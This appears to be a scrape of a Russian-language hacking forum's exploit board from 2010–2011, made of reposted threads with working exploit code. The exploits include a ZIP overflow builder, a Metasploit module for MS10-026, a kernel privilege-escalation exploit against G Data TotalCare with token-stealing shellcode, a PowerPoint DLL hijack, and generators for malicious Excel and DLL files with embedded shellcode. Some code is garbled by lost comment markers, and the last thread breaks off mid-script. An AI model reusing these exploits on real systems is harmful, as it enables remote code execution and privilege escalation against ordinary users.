"UXDDXZSOMKL4SQKUNKMJPOOCRODCMDKR0PGQD0EYIRVMHUZJDOGTUV2WP3OIVQ1QJSLSKGBLYKOY7NWW" . # Alpha Numeric Shellcode BaseAddress EAX
"LNG6LBOM5V6M0KF2NQDPMSL7XT80P61PBMTXYQDK5DMLYT231V649DZTPP26LWSQRLZLQK15XUXYUNP1" .
"BPF4X6PZIVOTZPJJRUOCC3KD9L034LDOXX5KKXNJQMOLSJ6BCORL9WXQNKPUWNKRKJ8JSNS4YMMOHT3Z" .
"QJOHQ4QJUQLN1VSLV5S1QYO0YA";
my $payload = "A" x 330;
$payload .=
("\x66\x05\x4D\xCD" x 4).
"\x66\x05\x19\x18". # ADD AX,1819
"\x54\x5A\x50\x5B". # PUSH ESP # POP EDX # PUSH EAX # POP EBX
"\x2B\xE0". # Afer convertion SUB EDX,EBX
"\x52\x58". # PUSH EDX # POP EAX
"\x98\xd1"; # CALL EAX
$payload .= "C" x (371-length($payload));
$payload .= "\x3C\x01\x75\xd1"; # Converted is that "\x3c\x04\x75\xd0"
$payload .= pack('V',0x0041334d); # P/P/RET
$payload .= $shellcode;
$payload .= "B" x (4064-length($payload));
$payload = $payload.".rar";
my $zip = $head.$payload.$head2.$payload.$head3;
open(FILE,">$filename") || die "\t\t[-]Error:\n$!\n";
print FILE $zip;
close(FILE);
print "\t\t[+] ZIP File Created With Sucess:)\n";
sleep(3);

Источник:http://www.exploit-db.com/exploits/17783/

MS10-026 Microsoft MPEG Layer-3
ID: 67686ba3b4103b69df379de8
Thread ID: 22090
Created: 2011-08-13T17:05:21+0000
Last Post: 2011-08-13T17:05:21+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 2K

Code:Copy to clipboard

##
# $Id: ms10_026_avi_nsamplespersec.rb 13555 2011-08-13 02:15:05Z sinn3r $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# [url=http://metasploit.com/framework/]http://metasploit.com/framework/[/url]
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::Remote::HttpServer::HTML
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'MS10-026 Microsoft MPEG Layer-3 Audio Stack Based Overflow',
            'Description'    => %q{
                    This module exploits a buffer overlow in l3codecx.ax while processing a
                AVI files with MPEG Layer-3 audio contents. The overflow only allows to overwrite
                with 0's so the three least significant bytes of EIP saved on stack are
                overwritten and shellcode is mapped using the .NET DLL memory technique pioneered
                by Alexander Sotirov and Mark Dowd.
 
                Please note on IE 8 targets, your malicious URL must be a trusted site in order
                to load the .Net control.
            },
            'Author'         =>
                [
                    'Yamata Li', # Vulnerability Discovery
                    'Shahin Ramezany <shahin[at]abysssec.com', # Vulnerability Analysis and Exploit
                    'juan vazquez', # Metasploit module
                    'Jordi Sanchez <jsanchez[at]0x01000000.org>', # Metasploit module - Help
                ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 13555 $',
            'References'     =>
                [
                    ['CVE', '2010-0480'],
                    ['OSVDB', '63749'],
                    ['BID', '39303'],
                    ['MSB', 'MS10-026'],
                    ['URL', 'http://www.exploit-db.com/moaub-5-microsoft-mpeg-layer-3-audio-stack-based-overflow/'],
                    ['URL', 'http://www.phreedom.org/research/bypassing-browser-memory-protections/']
                ],
            'Payload'        =>
                {
                    'Space'    => 4000
                },
            'DefaultOptions' =>
                {
                    'InitialAutoRunScript' => 'migrate -f',
                },
            'Targets'        =>
                [
                    # Target 0: Automatic
                    # Tested with:
                    # Windows XP SP3 English IE 6
                    # Windows XP SP3 English IE 7
                    # Windows XP SP3 English IE 8: The exploiting site must be a trusted
                    # site to load the .NET control
                    # .NET CLR required
                    [
                        'Windows XP SP3 Automatic',
                        {
                            'Platform' => 'win',
                            'Ret' => 0x72000000
                        },
                    ]
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Apr 13 2010'))
    end
 
    def exploit
        # Embed our payload in a .Net binary
        ibase = target.ret - 0x10000
        shellcode = rand_text_alpha(target.ret - ibase - 0x2285)
        shellcode << payload.encoded
 
        #Use our own custom .Net binary, because we require a much bigger file
        #to land our payload at the right place
        opts = {
            :template    => 'template_dotnetmem.dll',
            :text_offset => 0x1285,
            :text_max    => 0x20000,
            :pack        => 'a131072',
            :uuid_offset => 135816
        }
 
        @dotnet_payload = Msf::Util::EXE.to_dotnetmem(ibase, shellcode, opts)
 
        # Load our AVI file
        path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2010-0480.avi")
        f = File.open(path, "rb")
        @trigger = f.read(f.stat.size)
        f.close
 
        super
    end
 
    def on_request_uri(cli, request)
 
        agent = request['User-Agent']
        case request['User-Agent']
            when /MSIE.*Windows NT 5\.1.*\.NET CLR .*/
            when /Windows-Media-Player/
                # AVI is requested by WMP
            else
                send_not_found(cli)
                print_error("#{cli.peerhost}:#{cli.peerport} - target not supported: #{agent}")
                return
        end
 
        if (request.uri =~ /\.html/i)
            avi_name = rand_text_alpha(4)
            avi_trigger = ""
 
            if ("/" == get_resource[-1,1])
                avi_trigger = get_resource[0, get_resource.length - 1]
            else
                avi_trigger = get_resource
            end
 
            avi_trigger << "/#{avi_name}.avi"
 
            html = %Q|<html>
            <body>
            <OBJECT ID="MediaPlayer"
            CLASSID="CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95"
            CODEBASE="http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#
            Version=5,1,52,701" STANDBY="Loading Microsoft Windows Media Player components..."
            TYPE="application/x-oleobject" width="280" height="46">
                <param name="fileName" value="#{avi_trigger}">
                <param name="animationatStart" value="true">
                <param name="transparentatStart" value="true">
                <param name="autoStart" value="true">
                <param name="showControls" value="true">
                <param name="Volume" value="-300">
            <embed type="application/x-mplayer2"
                pluginspage="http://www.microsoft.com/Windows/MediaPlayer/"
                src="#{avi_trigger}"
                name="MediaPlayer"
                width=280
                height=46
                autostart=1
                showcontrols=1
                volume=-300>
            </embed>
            </OBJECT>
            </body>
            </html>
            |
 
            html = html.gsub(/^\t\t\t/, '')
 
            print_status("Sending trigger loader to #{cli.peerhost}:#{cli.peerport}...")
            send_response_html(cli, html)
 
        elsif (request.uri =~ /\.avi$/i)
 
            print_status "Sending AVI trigger to #{cli.peerhost}:#{cli.peerport} ..."
            send_response(cli, @trigger, { 'Content-Type' => 'application/octet-stream' })
            return
 
        elsif (request.uri =~ /\.dll$/i)
 
            print_status "Sending DLL file to #{cli.peerhost}:#{cli.peerport} ..."
            send_response(
                cli,
                @dotnet_payload,
                {
                    'Content-Type' => 'application/x-msdownload',
                    'Connection'   => 'close',
                    'Pragma'       => 'no-cache'
                }
            )
            return
 
        end
 
        html_name = rand_text_alpha(4)
        dll_uri = ""
        html_trigger = ""
 
        if ("/" == get_resource[-1,1])
            dll_uri = get_resource[0, get_resource.length - 1]
            html_trigger = get_resource[0, get_resource.length - 1]
        else
            dll_uri = get_resource
            html_trigger = get_resource
        end
 
        dll_uri << "/generic-" + Time.now.to_i.to_s + ".dll"
        js_net_dll = "<object classid=\"#{dll_uri}\"#GenericControl\"><object>"
        html_trigger << "/#{html_name}.html"
 
        html  = %Q|<html>
        <head>
        <script language="javascript">
            function forward() {
                window.location = window.location + '#{html_trigger}';
            }
 
            function start() {
                setTimeout("forward()", 2000);
            }
        </script>
        </head>
        <body onload="start()">
        <object classid="#{dll_uri}#GenericControl">
        <object>
        </body>
        </html>
        |
 
        html = html.gsub(/^\t\t/, '')
 
        print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
        send_response_html(cli, html)
    end
 
end
MS10-071
ID: 67686ba3b4103b69df379de9
Thread ID: 21541
Created: 2011-04-26T18:28:40+0000
Last Post: 2011-04-26T18:28:40+0000
Author: greenzy
Prefix: DoS
Replies: 0 Views: 2K

лень переводить:

Its nice vulnerability that allows for information disclosure and triggering a use-after-free. The PoC should be able to fetch the address for mshtml.dll and then trigger a use-after-free ending the execution at eip 0×41414141 or referencing a vftable at 0×41414141 I forgot what it did.

http://vreugdenhilresearch.nl/poc-for-ms10-071/

poc

G Data TotalCare 2011 0day Local Kernel Exploit
ID: 67686ba3b4103b69df379deb
Thread ID: 20588
Created: 2010-11-09T21:23:54+0000
Last Post: 2010-11-15T15:23:40+0000
Author: DarckSol
Prefix: Local
Replies: 1 Views: 2K

/*

Exploit Title: G Data TotalCare 2011 0day Local Kernel Exploit

Date: 2010-11-08

Author: Nikita Tarakanov (CISS Research Team)

Software Link: http://www.gdata.de/

Version: up to date, version 21.1.0.5, MiniIcpt.sys version 1.0.8.9

Tested on: Win XP SP3

CVE : CVE-NO-MATCH

Status : Unpatched

*/
#include <stdio.h>
#include "winsock2.h"
#include <windows.h>

#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "Ws2_32.lib")

static unsigned char win2k3_ring0_shell[] =
/* _ring0 /
"\xb8\x24\xf1\xdf\xff"
"\x8b\x00"
"\x8b\xb0\x18\x02\x00\x00"
"\x89\xf0"
/
_sys_eprocess_loop /
"\x8b\x98\x94\x00\x00\x00"
"\x81\xfb\x04\x00\x00\x00"
"\x74\x11"
"\x8b\x80\x9c\x00\x00\x00"
"\x2d\x98\x00\x00\x00"
"\x39\xf0"
"\x75\xe3"
"\xeb\x21"
/
_sys_eprocess_found */
"\x89\xc1"
"\x89\xf0"

/* _cmd_eprocess_loop /
"\x8b\x98\x94\x00\x00\x00"
"\x81\xfb\x00\x00\x00\x00"
"\x74\x10"
"\x8b\x80\x9c\x00\x00\x00"
"\x2d\x98\x00\x00\x00"
"\x39\xf0"
"\x75\xe3"
/
_not_found /
"\xcc"
/
_cmd_eprocess_found

  • _ring0_end */

/* copy tokens!$%! */
"\x8b\x89\xd8\x00\x00\x00"
"\x89\x88\xd8\x00\x00\x00"
"\x90";

static unsigned char winvista_ring0_shell[] =
/* _ring0 /
"\x64\xa1\x24\x01\x00\x00"
//"\x8b\x00"
"\x8b\x70\x48"
"\x89\xf0"
/
_sys_eprocess_loop /
"\x8b\x98\x9c\x00\x00\x00"
"\x81\xfb\x04\x00\x00\x00"
"\x74\x11"
"\x8b\x80\xa4\x00\x00\x00"
"\x2d\xa0\x00\x00\x00"
"\x39\xf0"
"\x75\xe3"
"\xeb\x21"
/
_sys_eprocess_found */
"\x89\xc1"
"\x89\xf0"

/* _cmd_eprocess_loop /
"\x8b\x98\x9c\x00\x00\x00"
"\x81\xfb\x00\x00\x00\x00"
"\x74\x10"
"\x8b\x80\xa4\x00\x00\x00"
"\x2d\xa0\x00\x00\x00"
"\x39\xf0"
"\x75\xe3"
/
_not_found /
"\xcc"
/
_cmd_eprocess_found

  • _ring0_end */

/* copy tokens!$%! */
"\x8b\x89\xe0\x00\x00\x00"
"\x89\x88\xe0\x00\x00\x00"
"\x90";

static unsigned char win7_ring0_shell[] =
/* _ring0 /
"\x64\xa1\x24\x01\x00\x00"
"\x8b\x70\x50"
"\x89\xf0"
/
_sys_eprocess_loop /
"\x8b\x98\xb4\x00\x00\x00"
"\x81\xfb\x04\x00\x00\x00"
"\x74\x11"
"\x8b\x80\xbc\x00\x00\x00"
"\x2d\xb8\x00\x00\x00"
"\x39\xf0"
"\x75\xe3"
"\xeb\x21"
/
_sys_eprocess_found */
"\x89\xc1"
"\x89\xf0"

/* _cmd_eprocess_loop /
"\x8b\x98\xb4\x00\x00\x00"
"\x81\xfb\x00\x00\x00\x00"
"\x74\x10"
"\x8b\x80\xbc\x00\x00\x00"
"\x2d\xb8\x00\x00\x00"
"\x39\xf0"
"\x75\xe3"
/
_not_found /
"\xcc"
/
_cmd_eprocess_found

  • _ring0_end */

/* copy tokens!$%! */
"\x8b\x89\xf8\x00\x00\x00"
"\x89\x88\xf8\x00\x00\x00"
"\x90";

static unsigned char winxp_ring0_shell[] =
/* _ring0 /
"\xb8\x24\xf1\xdf\xff"
"\x8b\x00"
"\x8b\x70\x44"
"\x89\xf0"
/
_sys_eprocess_loop /
"\x8b\x98\x84\x00\x00\x00"
"\x81\xfb\x04\x00\x00\x00"
"\x74\x11"
"\x8b\x80\x8c\x00\x00\x00"
"\x2d\x88\x00\x00\x00"
"\x39\xf0"
"\x75\xe3"
"\xeb\x21"
/
_sys_eprocess_found */
"\x89\xc1"
"\x89\xf0"

/* _cmd_eprocess_loop /
"\x8b\x98\x84\x00\x00\x00"
"\x81\xfb\x00\x00\x00\x00"
"\x74\x10"
"\x8b\x80\x8c\x00\x00\x00"
"\x2d\x88\x00\x00\x00"
"\x39\xf0"
"\x75\xe3"
/
_not_found /
"\xcc"
/
_cmd_eprocess_found

  • _ring0_end */

/* copy tokens!$%! */
"\x8b\x89\xc8\x00\x00\x00"
"\x89\x88\xc8\x00\x00\x00"
"\x90";

static unsigned char freeze[] =
"\xeb\xfe";// jmp $0

void craft_fake_flt_context(char* buff, LPVOID shellcode_addr)
{
DWORD references = 1;
DWORD *Entry;

Entry = (DWORD*)malloc(0x8);

Entry[0] = Entry;//Entry[0] == esi
Entry[1] = shellcode_addr;//[esi+4] - r0 shellcode

memcpy(buff-0x4, &references, 0x4);
memcpy(buff-0x28, Entry, 0x4);
}

static PCHAR fixup_ring0_shell (DWORD ppid, DWORD *zlen)
{
DWORD dwVersion, dwMajorVersion, dwMinorVersion;

dwVersion = GetVersion ();
dwMajorVersion = (DWORD) (LOBYTE(LOWORD(dwVersion)));
dwMinorVersion = (DWORD) (HIBYTE(LOWORD(dwVersion)));

printf("dwMajorVersion = %d dwMinorVersion %d\n", dwMajorVersion, dwMinorVersion);

switch (dwMajorVersion)
{
case 5:
switch (dwMinorVersion)
{
case 1:
*zlen = sizeof winxp_ring0_shell - 1;
*(PDWORD) &winxp_ring0_shell[55] = ppid;
return (winxp_ring0_shell);

case 2:
*zlen = sizeof win2k3_ring0_shell - 1;
*(PDWORD) &win2k3_ring0_shell[58] = ppid;
return (win2k3_ring0_shell);

default:
printf("GetVersion, unsupported version\n");
exit(EXIT_FAILURE);
}

case 6:
switch (dwMinorVersion)
{
case 0:
*zlen = sizeof winvista_ring0_shell - 1;
*(PDWORD) &winvista_ring0_shell[54] = ppid;
return (winvista_ring0_shell);

case 1:
*zlen = sizeof win7_ring0_shell - 1;
*(PDWORD) &win7_ring0_shell[54] = ppid;
return (win7_ring0_shell);

default:
printf("GetVersion, unsupported version\n");
exit(EXIT_FAILURE);
}

default:
printf("GetVersion, unsupported version\n");
exit(EXIT_FAILURE);
}

return (NULL);
}

int main(int argc, char **argv)
{
HANDLE hDevice, hThread;
char *inbuff, *inbuffer;
DWORD *buff;
DWORD ioctl = 0x83170180, in = 0xC, out = 0x0C, len, zlen, ppid;
LPVOID zpage, zbuf;

printf ("G Data TotalCare 2011 0day Local Kernel Exploit\n"
"by: Nikita Tarakanov (CISS Research Team)\n");

if (argc <= 1)
{
printf("Usage: %s \n", argv[0]);
return 0;
}

ppid = atoi(argv[1]);

zpage = VirtualAlloc(NULL, 0x1000, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (zpage == NULL)
{
printf("VirtualAlloc failed\n");
return 0;
}
printf("Ring 0 shellcode at 0x%08X address\n", zpage, 0x10000);

memset(zpage, 0xCC, 0x1000);
zbuf = fixup_ring0_shell(ppid, &zlen);
memcpy((PCHAR)zpage, (PCHAR)zbuf, zlen);
memcpy((PCHAR)zpage + zlen, (PCHAR)freeze, sizeof (freeze) - 1);

if ( (hDevice = CreateFileA("\\\\.\\MiniIcptControlDevice0",
GENERIC_READ|GENERIC_WRITE,
0,
0,
OPEN_EXISTING,
0,
NULL) ) != INVALID_HANDLE_VALUE )
{
printf("Device succesfully opened!\n");
}
else
{
printf("Error: Error opening device \n");
return 0;
}

inbuff = (char *)malloc(0x1000);
memset(inbuff, 0x90, 0x1000);
buff = (DWORD *)malloc(0x1000);
if(!inbuff){
printf("malloc failed!\n");
return 0;
}

inbuffer = inbuff + 0x40;
printf("crafting\n");
craft_fake_flt_context(inbuffer, zpage);
printf("deviceio!\n");
buff[0] = inbuffer;

DeviceIoControl(hDevice, ioctl, buff, in, buff, out, &len, NULL);
free(inbuff);

return 0;

}

Click to expand...

MS10-070 ASP.NET Padding Oracle
ID: 67686ba3b4103b69df379dec
Thread ID: 20573
Created: 2010-11-05T19:27:27+0000
Last Post: 2010-11-05T20:49:29+0000
Author: G100M
Prefix: Remote
Replies: 2 Views: 2K

Официальный биллютень:
http://www.microsoft.com/technet/security/...n/MS10-070.mspx

Пара эксплоитов:
http://www.exploit-db.com/exploits/15213/
http://www.exploit-db.com/exploits/15265/

Демо по эксплуатировнию:
[http://threatpost.com/en_us/blogs/demo- asp...e-attack-091710](http://threatpost.com/en_us/blogs/demo-aspnet-padding- oracle-attack-091710)

Дамага, объясни пожалуйста, что это за уязвимость и как ее эксплуатировать.
Как можно логично догадаться по предыдущим ссылкам - я мало что понял.

Firefox Exploit 0day (cve-2010-3765)
ID: 67686ba3b4103b69df379ded
Thread ID: 20528
Created: 2010-10-29T09:38:28+0000
Last Post: 2010-10-29T09:38:28+0000
Author: villy
Prefix: Remote
Replies: 0 Views: 2K

сорец експлоита для фф.

Spoiler: 3 у вас 43

http://bugix-security.blogspot.com/2010/10/firefox-exploitcve-2010-3765.html

Windows 7 Microsft Power Point 2007 DLL Hijacking
ID: 67686ba3b4103b69df379dee
Thread ID: 20350
Created: 2010-10-02T12:06:55+0000
Last Post: 2010-10-02T12:06:55+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 2K

=========================================================
Windows 7 Microsft Power Point 2007 DLL Hijacking Exploit
=========================================================

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'\ /\ \\__ /'__\ 0
0 /\, \ ___ /\/\_\ \ \ \ \ ,/\ /\ \ _ ___ 1
1 /
/\ \ /' _ \ \/\ \/_/_\\_<_ /'___\ \ \/\ \ \ \ \/\\'
\ 0
0 \ \ /\ /\ \ \ \ /\ \ \ /\ \
/\ \ \\ \ \\ \ \ / 1
1 \ \\ \\ \\\ \ \ \/\ \\\ \
\\ \/\ \\ 0
0 /
//
//
/\ \\ /
/ // // // // 1
1 \ \
/ >> Exploit database separated by exploit 0
0 /
/ type (local, remote, DoS, etc.) 1
1 1
0 [ + ] Site : Inj3ct0r.com 0
1 [ + ] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ####################################### 1
0 I'm indoushka member from Inj3ct0r Team 1
1 ####################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

########################################################################

Vendor: http://www.microsoft.com

Date: 2010-07-27

Author : indoushka

Thanks to : Dz-Ghost Team

Contact : 00213771818860

Tested on : windows SP2 Francais V.(Pnx2 2.0)

########################################################################

Exploit By indoushka

-------------
exploited powerpnt.exe with exploit.ppa using pp7x32.dll
exploited powerpnt.exe with exploit.ppa using pp4x322.dll
exploited powerpnt.exe with exploit.pps using pp7x32.dll
exploited powerpnt.exe with exploit.pps using pp4x322.dll
exploited powerpnt.exe with exploit.pwz using pp7x32.dll
exploited powerpnt.exe with exploit.pwz using pp4x322.dll
exploited powerpnt.exe with exploit.sldx using pp7x32.dll
-------------
#include "stdafx.h"
#include "stdlib.h"
void init() {
MessageBox(NULL,"indoushka", "Hack3d",0x00000003);
}

BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
init();break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

Dz-Ghost Team ===== Saoucha * Star08 * Cyber Sec * theblind74 * XproratiX * onurozkan * n2n * Meher Assel ===========================
special thanks to : r0073r (inj3ct0r.com) * L0rd CruSad3r * MaYur * MA1201 * KeDar * Sonic * gunslinger_ * SeeMe * RoadKiller
Sid3^effects * aKa HaRi * His0k4 * Hussin-X * Rafik * Yashar * SoldierOfAllah

  • RiskY.HaCK * Stake * r1z * D4NB4R * www.alkrsan.net
    MR.SoOoFe * ThE g0bL!N * AnGeL25dZ * ViRuS_Ra3cH * Sn!pEr.S!Te
    ---------------------------------------------------------------------------------------------------------------------------------

Inj3ct0r.com [2010-10-02]

Microsoft Excel OBJ Record Stack Overflow
ID: 67686ba3b4103b69df379def
Thread ID: 20321
Created: 2010-09-24T22:15:03+0000
Last Post: 2010-09-24T22:15:03+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 2K

=========================================
Microsoft Excel OBJ Record Stack Overflow

Title : Microsoft Excel OBJ Record Stack Overflow
Version : Excell 2002 and XP (SP3)
Analysis : http://www.abysssec.com
Vendor : http://www.microsoft.com
Impact : Critical
Contact : shahin [at] abysssec.com , info [at] abysssec.com
Twitter : @abysssec
CVE : CVE-2010-0822

'''

import sys

def main():

try:
fdR = open('src.xls', 'rb+')
strTotal = fdR.read()
str1 = strTotal[:36640]
str2 = strTotal[37440:]

shellcode calc.exe

shellcode = '\x90\x90\x90\x89\xE5\xD9\xEE\xD9\x75\xF4\x5E\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5A\x6A\x41\x58\x50\x30\x41\x30\x41\x6B\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4A\x49\x4B\x4C\x4B\x58\x51\x54\x43\x30\x43\x30\x45\x50\x4C\x4B\x51\x55\x47\x4C\x4C\x4B\x43\x4C\x43\x35\x44\x38\x45\x51\x4A\x4F\x4C\x4B\x50\x4F\x44\x58\x4C\x4B\x51\x4F\x47\x50\x45\x51\x4A\x4B\x51\x59\x4C\x4B\x46\x54\x4C\x4B\x43\x31\x4A\x4E\x46\x51\x49\x50\x4A\x39\x4E\x4C\x4C\x44\x49\x50\x42\x54\x45\x57\x49\x51\x48\x4A\x44\x4D\x45\x51\x49\x52\x4A\x4B\x4B\x44\x47\x4B\x46\x34\x46\x44\x45\x54\x43\x45\x4A\x45\x4C\x4B\x51\x4F\x47\x54\x43\x31\x4A\x4B\x43\x56\x4C\x4B\x44\x4C\x50\x4B\x4C\x4B\x51\x4F\x45\x4C\x45\x51\x4A\x4B\x4C\x4B\x45\x4C\x4C\x4B\x43\x31\x4A\x4B\x4C\x49\x51\x4C\x47\x54\x45\x54\x48\x43\x51\x4F\x46\x51\x4C\x36\x43\x50\x46\x36\x45\x34\x4C\x4B\x50\x46\x50\x30\x4C\x4B\x47\x30\x44\x4C\x4C\x4B\x44\x30\x45\x4C\x4E\x4D\x4C\x4B\x42\x48\x44\x48\x4D\x59\x4B\x48\x4B\x33\x49\x50\x43\x5A\x46\x30\x45\x38\x4C\x30\x4C\x4A\x45\x54\x51\x4F\x42\x48\x4D\x48\x4B\x4E\x4D\x5A\x44\x4E\x50\x57\x4B\x4F\x4A\x47\x43\x53\x47\x4A\x51\x4C\x50\x57\x51\x59\x50\x4E\x50\x44\x50\x4F\x46\x37\x50\x53\x51\x4C\x43\x43\x42\x59\x44\x33\x43\x44\x43\x55\x42\x4D\x50\x33\x50\x32\x51\x4C\x42\x43\x45\x31\x42\x4C\x42\x43\x46\x4E\x45\x35\x44\x38\x42\x45\x43\x30\x41\x41'

if len(shellcode) > 800:
print "[*] Error : Shellcode length is long"
return
if len(shellcode) <= 800:
dif = 800 - len(shellcode)
while dif > 0 :
shellcode += '\x90'
dif = dif - 1

fdW= open('exploit.xls', 'wb+')
fdW.write(str1)
fdW.write(shellcode)
fdW.write(str2)

fdW.close()
fdR.close()
print '[ - ] Excel file generated'
except IOError:
print '[*] Error : An IO error has occurred'
print '[ - ] Exiting ...'
sys.exit(-1)

if name == 'main':
main()

Inj3ct0r.com [2010-09-24]

Mozilla Firefox XSLT Sort Remote Code Execution
ID: 67686ba3b4103b69df379df0
Thread ID: 20257
Created: 2010-09-09T19:51:44+0000
Last Post: 2010-09-09T19:51:44+0000
Author: DarckSol
Prefix: DoS
Replies: 0 Views: 2K

=============================================================
Mozilla Firefox XSLT Sort Remote Code Execution Vulnerability

Title : Mozilla Firefox XSLT Sort Remote Code Execution Vulnerability
Version : Firefox 3.6.3
Analysis : http://www.abysssec.com
Vendor : http://www.mozilla.com
Impact : High/Critical
Contact : shahin [at] abysssec.com , info [at] abysssec.com
Twitter : @abysssec
CVE : CVE-2010-1199
'''
import sys;

myStyle = """
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html"/>
<xsl:template match="/">

Beatles """

BlockCount = 43000

count = 1
while(count<BlockCount):
myStyle = myStyle + "<xsl:sort select='name/abysssec"+str(count)+"' order='descending'/>\n"
count = count + 1

myStyle = myStyle +"""

</xsl:stylesheet>
"""
cssFile = open("abysssec.xsl","w")
cssFile.write(myStyle)
cssFile.close()

Title : Mozilla Firefox XSLT Sort Remote Code Execution Vulnerability
Version : Firefox 3.6.3
Analysis : http://www.abysssec.com
Vendor : http://www.mozilla.com
Impact : High/Critical
Contact : shahin [at] abysssec.com , info [at] abysssec.com
Twitter : @abysssec
CVE : CVE-2010-1199
MOAUB Number : MOAU_09_BA
'''
import sys;

myStyle = """

"""
block = """


"""
BlockCount = 2147483647
rowCount=10
#myStyle = myStyle + "\n"
count = 1
while(count<BlockCount):
myStyle = myStyle + """


"""
myStyle = myStyle + " "+"A"*rowCount+"\n"
myStyle = myStyle + """
Lennon



"""

myStyle = myStyle + " "+"B"*rowCount+"\n"
myStyle = myStyle + """ McCartney




"""
myStyle = myStyle + " "+"C"*rowCount+"\n"
myStyle = myStyle + """
Harrison




"""
myStyle = myStyle + " "+"D"*rowCount+"\n"
myStyle = myStyle + """
Starr




"""
myStyle = myStyle + " "+"E"*rowCount+"\n"
myStyle = myStyle +"""
Dunn

"""
count = count - 1

myStyle = myStyle +"""

"""
cssFile = open("abyssssec.xml","w")
cssFile.write(myStyle)
cssFile.close()

Inj3ct0r.com [2010-09-09]

Microsoft MPEG Layer-3 Remote Command Executio Exploit
ID: 67686ba3b4103b69df379df2
Thread ID: 20241
Created: 2010-09-05T13:11:17+0000
Last Post: 2010-09-05T13:11:17+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 2K

Title : Microsoft MPEG Layer-3 Audio Decoder Division By Zero
Version : l3codeca.acm (XP SP2 / XP SP3)
Analysis : http://www.abysssec.com
Vendor : http://www.microsoft.com
Impact : Ciritical
Contact : shahin [at] abysssec.com , info [at] abysssec.com
Twitter : @abysssec
CVE : CVE-2010-0480

'''

import sys
import struct
def main():

try:
strHTML = '''

''' fHTML = open('index.html', 'w') fHTML.write(strHTML) fHTML.close() fdR = open('exploit.dll', 'rb+') strTotal = fdR.read() str1 = strTotal[:1380] str2 = strTotal[2115:] shellcode = '\xEB\x6B\x5A\x31\xC9\x6A\x10\x52\x42\x52\x51\xFF\xD0\x53\x68\x7E\xD8\xE2\x73\xFF\xD6\x6A\x00\xFF\xD0\xFF\xD7\x50\x68\xA8\xA2\x4D\xBC\xFF\xD6\xE8\xDA\xFF\xFF\xFF\x00\x54\x68\x65\x20\x65\x78\x70\x6C\x6F\x69\x74\x20\x77\x61\x73\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x21\x00\x5E\x6A\x30\x59\x64\x8B\x19\x8B\x5B\x0C\x8B\x5B\x1C\x8B\x1B\x8B\x5B\x08\x53\x68\x8E\x4E\x0E\xEC\xFF\xD6\x89\xC7\xE8\xB3\xFF\xFF\xFF\x55\x53\x45\x52\x33\x32\x00\xE8\xD3\xFF\xFF\xFF\x53\x55\x56\x57\x8B\x6C\x24\x18\x8B\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x32\x49\x8B\x34\x8B\x01\xEE\x31\xFF\xFC\x31\xC0\xAC\x38\xE0\x74\x07\xC1\xCF\x0D\x01\xC7\xEB\xF2\x3B\x7C\x24\x14\x75\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\xEB\x02\x31\xC0\x5F\x5E\x5D\x5B\xC2\x08\x00'

if len(shellcode) > 735:
print "[] Error : Shellcode length is long"
return
if len(shellcode) <= 735:
dif = 735 - len(shellcode)
while dif > 0 :
shellcode += '\x90'
dif = dif - 1
fdW= open('exploit.dll', 'wb+')
fdW.write(str1)
fdW.write(shellcode)
fdW.write(str2)
fdW.close()
fdR.close()
print '[ - ] Html file generated'
except IOError:
print '[
] Error : An IO error has occurred'
print '[ - ] Exiting ...'
sys.exit(-1)

if name == 'main':
main()

Inj3ct0r.com [2010-09-05]

Mediacoder 0.7.5.4710 Buffer Overflow Exploit
ID: 67686ba3b4103b69df379df4
Thread ID: 20169
Created: 2010-08-11T10:58:35+0000
Last Post: 2010-08-12T07:41:53+0000
Author: DarckSol
Prefix: Local
Replies: 2 Views: 2K

=============================================
Mediacoder 0.7.5.4710 Buffer Overflow Exploit

#media coder 0.7.5.4710 0 day buffer overflow exploit
#vulnerble application link http://www.mediacoderhq.com/dlfull.htm
#tested on XP SP2
#author abhishek lyall - abhilyall[at]gmail[dot]com
#web - http://www.aslitsecurity.com/
#blog - http://www.aslitsecurity.blogspot.com/
#!/usr/bin/python

to exploit load the crash.m3u file and double click on it

filename = "crash.m3u"

junk = "\x41" * 256
eip = "\x65\x82\xa5\x7c" # JMP ESP shell32.dll
nop = "\x90" * 12

port bind 5555 shellcode
